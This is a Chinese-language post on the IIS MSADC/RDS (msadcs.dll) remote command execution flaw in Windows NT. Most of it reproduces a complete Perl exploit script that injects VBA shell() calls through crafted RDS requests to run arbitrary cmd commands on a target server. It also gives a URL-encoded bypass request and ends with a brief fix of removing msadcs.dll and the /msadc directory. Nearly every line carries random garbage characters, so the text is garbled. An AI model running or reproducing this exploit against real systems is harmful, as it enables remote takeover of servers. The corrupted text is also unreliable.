IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1{8SKfMdP S(c ,Sinc 涉及程序：
y^# jM Microsoft NT server
8# 9 d i L)5YX-? 描述：
$\|$ ekil4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
p1
9j &!uN N|W 详细：
rTi W&# 如果你没有时间读详细内容的话，就删除:
4|Dxyb>pS c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z)6gh{B08 有关的安全问题就没有了。
^gwVh~j ]}_@!F) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
J? WT Z^w}: { 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
p#9.lFSX 关于利用ODBC远程漏洞的描述，请参看:
w
a!g / \ `,mE
'3& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I-E}D"F;p[ "( 6]K}k@ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#- ioLt% http://www.microsoft.com/security/bulletins/MS99-025faq.asp /hP gOaB V=pg9KR!T 这里不再论述。
%C _RBd W 2VH? -Gw 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
xr uQ=Q tK3.HvD /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4}FuoQL 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
{%(_Z`vI m L#-U)?F ;Ocih<4k #将下面这段保存为txt文件，然后: "perl -x 文件名"
A7*<,]qT v,N*vqWS #!perl
.z
u0GsU= #
VjbRjn5LI # MSADC/RDS 'usage' (aka exploit) script
}Z MbTsm #
~7Ey9wRkD # by rain.forest.puppy
%t&n%dhJ #
!7MC[z(|N # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
YN1P9j#0d # beta test and find errors!
+'9l 2DI; q<L>r?T[ use Socket; use Getopt::Std;
Ht UFl getopts("e:vd:h:XR", \%args);
};[~>Mzl | I_,;c print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
< KF|QE e&G!5kz! if (!defined $args{h} && !defined $args{R}) {
)~1QOl
"~ print qq~
&>UI { Usage: msadc.pl -h <host> { -d <delay> -X -v }
Y/1KvF4)k -h <host> = host you want to scan (ip or domain)
sW[8f
Z71 -d <seconds> = delay between calls, default 1 second
\IL/?J
5d -X = dump Index Server path table, if available
-4 |\,=j -v = verbose
nPp\IE}: -e = external dictionary file for step 5
^EGe%Fq*x] P9~7GFas| Or a -R will resume a command session
=W(mZ#*vdY bce>DLF ~; exit;}
$;1#gq% [:-Ltfr $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
pp$WM\r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5;wA7@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!424K-nW if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
gF( aYuk $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
eMk?#&a) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q@K;u[zFK rPVz !(;k if (!defined $args{R}){ $ret = &has_msadc;
p\]Mf#B die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*Nd SL aZt5/|B print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8 RJXY:% . "cmd /c ";
C~PrIM ? $in=<STDIN>; chomp $in;
lf4V; |!^ $command="cmd /c " . $in ;
4,CQJ RG [*:ReB9 if (defined $args{R}) {&load; exit;}
\ct) / .
: Q[Z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
i3~"qbU%z[ &try_btcustmr;
%$/t`'&o- hu (h' print "\nStep 2: Trying to make our own DSN...";
bD_|n!3 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
x8i;u H\8 BsV2Q`(gT print "\nStep 3: Trying known DSNs...";
km1{Oh &known_dsn;
^vXMX ^* }gQ FWT print "\nStep 4: Trying known .mdbs...";
S(kj"t*3 &known_mdb;
\ .+.V K J%d\ 7 if (defined $args{e}){
BdcTKC print "\nStep 5: Trying dictionary of DSN names...";
U)~?/s{v &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
zPWX%1Qr MP/6AAt7=| print "Sorry Charley...maybe next time?\n";
T#'+w@Q9{9 exit;
\ I J\ #9aB3C ##############################################################################
1&A @Zo5| W99MA5 P sub sendraw { # ripped and modded from whisker
07WZ w1(; sleep($delay); # it's a DoS on the server! At least on mine...
a+ !#cQl my ($pstr)=@_;
M)t d%<_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T|o[! @:, die("Socket problems\n");
v a \ 5
if(connect(S,pack "SnA4x8",2,80,$target)){
x<#Z3Kla select(S); $|=1;
+g8wc(<ik print $pstr; my @in=<S>;
H M yw:? select(STDOUT); close(S);
?;!d5Xuu return @in;
H^cB ?i } else { die("Can't connect...\n"); }}
< rd7<@>5D aBk~ / ##############################################################################
9 p6QNDp r|t ;# sub make_header { # make the HTTP request
P@P(&{@ my $msadc=<<EOT
et|QW;*L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Fy!u xT-\ User-Agent: ACTIVEDATA
#g,JNJ} Host: $ip
`6:;*#jO, Content-Length: $clen
40cgsRa| Connection: Keep-Alive
t]?u<KD< +JoE[; ADCClientVersion:01.06
]m} <0-0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
jj^{^,z\ j+0=)Q%I= --!ADM!ROX!YOUR!WORLD!
dIi Q^M Content-Type: application/x-varg
o:E+c_^q` Content-Length: $reqlen
smEKQHB `$j"nP F_ EOT
~A<1xszC ; $msadc=~s/\n/\r\n/g;
b|F_]i T return $msadc;}
S2nF13u sM)qzO2wh ##############################################################################
>SO !{ C' x?riJ/ sub make_req { # make the RDS request
q{/> hvl my ($switch, $p1, $p2)=@_;
v'Y)~Kv@! my $req=""; my $t1, $t2, $query, $dsn;
?o'!(3`L n_5m+
1N if ($switch==1){ # this is the btcustmr.mdb query
L'k ) $query="Select * from Customers where City=" . make_shell();
D<9FSxl6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
q] F2bo $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
MONfA;64/ 4%wP}Zj# elsif ($switch==2){ # this is general make table query
b e[KNrO $query="create table AZZ (B int, C varchar(10))";
~ _C[~- $dsn="$p1";}
S#+Dfa`8X t ,#9i#q# elsif ($switch==3){ # this is general exploit table query
e( 7F| G* $query="select * from AZZ where C=" . make_shell();
# Vz9j $dsn="$p1";}
rj zRZ l
\~w(8g<A elsif ($switch==4){ # attempt to hork file info from index server
k(|D0%#b7 $query="select path from scope()";
C.I.f9s?R $dsn="Provider=MSIDXS;";}
JjarMJr| D zbsdK elsif ($switch==5){ # bad query
y/t{*a
$query="select";
j:'s bU $dsn="$p1";}
o33 wePx, L\d"|87lX $t1= make_unicode($query);
ssbvuTr $t2= make_unicode($dsn);
L&3Ak}sh $req = "\x02\x00\x03\x00";
}3sj{:z{ $req.= "\x08\x00" . pack ("S1", length($t1));
(. ~#bl $req.= "\x00\x00" . $t1 ;
7UQFAt_r $req.= "\x08\x00" . pack ("S1", length($t2));
5B3S]@% $req.= "\x00\x00" . $t2 ;
-r%4,4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
A:$Qt%c return $req;}
!#0Lo->OO X
yi[z
tN ##############################################################################
-*8 |J; ~#/NpKHT@A sub make_shell { # this makes the shell() statement
tU2 8l. return "'|shell(\"$command\")|'";}
=0,:w(Sb! xa+=9=<AQ ##############################################################################
2pR+2p ` -#Xo^-& sub make_unicode { # quick little function to convert to unicode
yPG,+uQ$. my ($in)=@_; my $out;
wZ7Opm<nt for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_U}pdzX? return $out;}
QcBuUFf!c px6 [1'|g ##############################################################################
Bw^*6P^l m\QUt ; sub rdo_success { # checks for RDO return success (this is kludge)
rro92(y my (@in) = @_; my $base=content_start(@in);
O iRhp( if($in[$base]=~/multipart\/mixed/){
f9FJ:? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&'{6 _-kh return 0;}
Jq 0aDf
f jWHv9X tW ##############################################################################
;&mefaFlWp eXo7_# sub make_dsn { # this makes a DSN for us
d{^9` J' my @drives=("c","d","e","f");
UI S\t^pJD print "\nMaking DSN: ";
fFu +P<?" foreach $drive (@drives) {
' S %?&4 print "$drive: ";
%M"rc4Xd my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
V$U#'G>m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[( Z{5gK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
aLZza "W $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mS) |i+5 return 0 if $2 eq "404"; # not found/doesn't exist
_a?c,<A if($2 eq "200") {
E=
3Ui foreach $line (@results) {
$07; gpZt return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
a2J01B } return 0;}
%K0
H?^. TmI~P+5w ##############################################################################
F bH
1yz VK>ZH^- sub verify_exists {
\NE~k)`4j% my ($page)=@_;
klkshlk d my @results=sendraw("GET $page HTTP/1.0\n\n");
3d<Z## `{4 return $results[0];}
*F:f\9 SUv(MA& ##############################################################################
'3B"@^] ft | W sub try_btcustmr {
p6)Jzh_/ my @drives=("c","d","e","f");
] 70V my @dirs=("winnt","winnt35","winnt351","win","windows");
v6uXik Jz"Yb
foreach $dir (@dirs) {
Rr>nka)U print "$dir -> "; # fun status so you can see progress
[ PXv8K%]p foreach $drive (@drives) {
Sv&_LZ-"P print "$drive: "; # ditto
=$kSvCjP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2G=prS`s $reqlenlen=length( "$reqlen" );
y Skz5K+|g $clen= 206 + $reqlenlen + $reqlen;
v#/k`x\ l1_hD ,4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
6uNWL `v if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]7+9>V else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
l Vb{bO9-O [S Jx\O s ##############################################################################
P* =M?:Jb, {,:yZ&( sub odbc_error {
= Ob-'Syg> my (@in)=@_; my $base;
`i~kW my $base = content_start(@in);
Y)V )g9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
w|t}.u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a] =k-Xh $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%%uvia=e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Veeuw return $in[$base+4].$in[$base+5].$in[$base+6];}
,>
%=,x print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
VD.wO%9?) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
wk+| }s $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>#u9W'@| wqx9 ##############################################################################
W}6OMAbsE; Sbzx7 * X sub verbose {
N [qNSo| my ($in)=@_;
OSu/ !Iv\ return if !$verbose;
B183h print STDOUT "\n$in\n";}
;T-`~ A,PF#G( ##############################################################################
l % \p $I*<gn9 sub save {
o5h *sQ9 my ($p1, $p2, $p3, $p4)=@_;
$?Dcp^ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fYgEia p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
rt8"U <~ close OUT;}
dbe\ YE f;{K+\T ##############################################################################
Z;'5A2 {TOz}=R"3h sub load {
_P}wO8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>;^t) 6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Rz03he @p=<IN>; close(IN);
Y| X!da/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;Q.'u $target= inet_aton($ip) || die("inet_aton problems");
Xtk3~@ print "Resuming to $ip ...";
8x~'fzf;Sq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
.] XBJc if($p[1]==1) {
f %[0}.wp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S UB rFsA $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Pt=@U: my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/mK."5-cm if (rdo_success(@results)){print "Success!\n";}
.ri?p:a}w else { print "failed\n"; verbose(odbc_error(@results));}}
X$A[~v elsif ($p[1]==3){
8"=E 0(m if(run_query("$p[3]")){
?B{,%2+ print "Success!\n";} else { print "failed\n"; }}
P*!~Z *" elsif ($p[1]==4){
'/U% -/@ if(run_query($drvst . "$p[3]")){
Z,_EhEm print "Success!\n"; } else { print "failed\n"; }}
z( dDX%k@ exit;}
Nu,t,&B
./qbWr`L ##############################################################################
Xs Ey8V c&"OhzzJK' sub create_table {
ET\>cxSp my ($in)=@_;
wer Twe2Q $reqlen=length( make_req(2,$in,"") ) - 28;
E0t%]?1 $reqlenlen=length( "$reqlen" );
UA3!28Y&E3 $clen= 206 + $reqlenlen + $reqlen;
qZ<|A%WQ my @results=sendraw(make_header() . make_req(2,$in,""));
a /Ik^:>m return 1 if rdo_success(@results);
Nm{J=` my $temp= odbc_error(@results); verbose($temp);
-Pp =)_O return 1 if $temp=~/Table 'AZZ' already exists/;
:"Gd;~p. return 0;}
Sp-M:,H3H Yu+;vjbK- ##############################################################################
[M#I Nm} *| B5,Ey sub known_dsn {
gR 76g4|=; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
u
OB`A-K my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
W<\*5oB%H "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
X,`^z,M%I "banner", "banners", "ads", "ADCDemo", "ADCTest");
mV;)V8' GhC%32F foreach $dSn (@dsns) {
;s^F:O print ".";
^!7 |B3` next if (!is_access("DSN=$dSn"));
m?y'Y` if(create_table("DSN=$dSn")){
f>[! Zi* print "$dSn successful\n";
QD*\zB if(run_query("DSN=$dSn")){
5?HoCz]l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
z^ Y4:^L~I print "Something's borked. Use verbose next time\n";}}} print "\n";}
i*6 1i0 Tqm)- |[ ##############################################################################
lEC91:Jyt Ih_=yk sub is_access {
)YPu t. my ($in)=@_;
yP "D~u $reqlen=length( make_req(5,$in,"") ) - 28;
./_4D} $reqlenlen=length( "$reqlen" );
;~"#aL50fe $clen= 206 + $reqlenlen + $reqlen;
jc7NYoT: my @results=sendraw(make_header() . make_req(5,$in,""));
l0BYv&tu my $temp= odbc_error(@results);
r odr @ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4 <A+Tf return 0;}
Ou5,7Ne ^K?Mq1"Db ##############################################################################
55V&[> |K5 +nKf ^rG sub run_query {
JQ<9 ~J my ($in)=@_;
4mci@1K#^ $reqlen=length( make_req(3,$in,"") ) - 28;
U&OE* dq $reqlenlen=length( "$reqlen" );
EMw
biGV $clen= 206 + $reqlenlen + $reqlen;
& d 6 my @results=sendraw(make_header() . make_req(3,$in,""));
+"3K)9H return 1 if rdo_success(@results);
/_ RrNzqy my $temp= odbc_error(@results); verbose($temp);
t }>"nr0 return 0;}
t@+z r3 4>Y\Y$3 ##############################################################################
Rf#t|MW*# ;|D8"D6] sub known_mdb {
:rnj>U6<> my @drives=("c","d","e","f","g");
s}Q*zy my @dirs=("winnt","winnt35","winnt351","win","windows");
2 X`5YN; my $dir, $drive, $mdb;
nD!5I@D my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
te
b / e$4$G<8;y # this is sparse, because I don't know of many
kWxcB7)uk my @sysmdbs=( "\\catroot\\icatalog.mdb",
%R-KkK<S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
FQO>%=&4 "\\system32\\certmdb.mdb",
HyJ&;4rf "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
q/3 )yG6s 8]A`WDO3 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9~6~[z "\\cfusion\\cfapps\\forums\\forums_.mdb",
i3<ZFR "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
m:C |R-IL "\\cfusion\\cfapps\\security\\realm_.mdb",
vx4Jk]h+=L "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:M \3.7q "\\cfusion\\database\\cfexamples.mdb",
!A #(bC "\\cfusion\\database\\cfsnippets.mdb",
jB0ED0)wX "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
t 4FaU7 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
5tcJ T z "\\cfusion\\brighttiger\\database\\cleam.mdb",
&)F# cVB "\\cfusion\\database\\smpolicy.mdb",
jbs)]fqC; "\\cfusion\\database\cypress.mdb",
}x+s5a;!3/ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
x >MY_?a "\\website\\cgi-win\\dbsample.mdb",
Y5\=5r/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^<v]x;
3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
S1E=E VG ); #these are just
V"W)u#4, foreach $drive (@drives) {
* S\/l-D foreach $dir (@dirs){
:'K %&e?7s foreach $mdb (@sysmdbs) {
$#HUxwx4 print ".";
Sj9NhtF]f if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
">'`{mXew print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
J/ZC<dkYQ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
! /6KQ dF print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
'/ GZ,~q } else { print "Something's borked. Use verbose next time\n"; }}}}}
&?#!%Ds =7 ${ bp! foreach $drive (@drives) {
4<l& cP foreach $mdb (@mdbs) {
p WLFJH}N print ".";
Ukg iSv+ if(create_table($drv . $drive . $dir . $mdb)){
'`/w%OEVC5 print "\n" . $drive . $dir . $mdb . " successful\n";
U
Y')|2y
5 if(run_query($drv . $drive . $dir . $mdb)){
F A #8 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Cl'3I%$8K } else { print "Something's borked. Use verbose next time\n"; }}}}
)+v' @ ]r }
8~eYN- #W& :yE7jXB ##############################################################################
& dvL` K0z@gWGE sub hork_idx {
mFeoeI,Jv print "\nAttempting to dump Index Server tables...\n";
U(u$5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
V0a)9\x(\ $reqlen=length( make_req(4,"","") ) - 28;
*pKj6x $reqlenlen=length( "$reqlen" );
[;qZu`n> $clen= 206 + $reqlenlen + $reqlen;
1,(uRS#bk my @results=sendraw2(make_header() . make_req(4,"",""));
7 J+cs^2 if (rdo_success(@results)){
2` j#eB1 my $max=@results; my $c; my %d;
s5D<c'- for($c=19; $c<$max; $c++){
2kQa3Pan $results[$c]=~s/\x00//g;
8[mj*^P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
z! /
MBM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
iVqa0Gl+} $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(Gpk;DD $d{"$1$2"}="";}
< o.?T *Q9 foreach $c (keys %d){ print "$c\n"; }
O*y@4AR"S } else {print "Index server doesn't seem to be installed.\n"; }}
dRPX`%J &~a/Upz0]_ ##############################################################################
6 / &aBE= `6 `oLu\l sub dsn_dict {
>2@ a\ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
KvfZj while(<IN>){
= *~Q5F $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^. ;
x next if (!is_access("DSN=$dSn"));
XY1b_uY if(create_table("DSN=$dSn")){
`o,D[Jd print "$dSn successful\n";
LSN%k5G7. if(run_query("DSN=$dSn")){
Tv`-h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(N` x print "Something's borked. Use verbose next time\n";}}}
d@0& print "\n"; close(IN);}
*m 9,_~t 6d#
V ##############################################################################
s2M|ni= {rWFgn4Li sub sendraw2 { # ripped and modded from whisker
h ! UB#-
sleep($delay); # it's a DoS on the server! At least on mine...
/ng +IC3 my ($pstr)=@_;
Q ^z&;%q1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a<ztA:xt|1 die("Socket problems\n");
+\@WOs if(connect(S,pack "SnA4x8",2,80,$target)){
;yVT:qd
% print "Connected. Getting data";
Ij}k>qO/2 open(OUT,">raw.out"); my @in;
+/Q ?<*[ select(S); $|=1; print $pstr;
zM W [Xx! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
rP7~ R close(OUT); select(STDOUT); close(S); return @in;
E2a00i/9Y } else { die("Can't connect...\n"); }}
1X$hwkof _;yi/)-2 ##############################################################################
cp\A
xWtUZ
|jwN 8@ sub content_start { # this will take in the server headers
H&3i[D!p my (@in)=@_; my $c;
{9yW8&m for ($c=1;$c<500;$c++) {
Z2wgfP` if($in[$c] =~/^\x0d\x0a/){
A3=$I&!% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
FsyM{LT else { return $c+1; }}}
/vG)n9Rc return -1;} # it should never get here actually
^J_rb;m43 r7=r~3) ##############################################################################
Q'n]+%YN 0nV|(M0lu? sub funky {
}9,^=g - my (@in)=@_; my $error=odbc_error(@in);
A/+bw CDP if($error=~/ADO could not find the specified provider/){
_]~= Kjp print "\nServer returned an ADO miscofiguration message\nAborting.\n";
jQLiqi` exit;}
c _faW if($error=~/A Handler is required/){
"Ooc;xD3< print "\nServer has custom handler filters (they most likely are patched)\n";
(aa}0r5 exit;}
AyUiX2=w1 if($error=~/specified Handler has denied Access/){
g0
NS y3t print "\nServer has custom handler filters (they most likely are patched)\n";
!1s ^TB>N exit;}}
_B hm\|t QY]G+3W ##############################################################################
95%,
8t Z}*{4V`R sub has_msadc {
+bv-! rf my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Y']D_\y my $base=content_start(@results);
f.cQ p&&]r return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
zjVQ \L return 0;}
!04zWYHo L1i:hgq0] ########################
_~_E(rTn `[*n UdG Yo$
xz 解决方案：
fqcFfz 6?x 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]sf1 +3 2、移除web 目录: /msadc
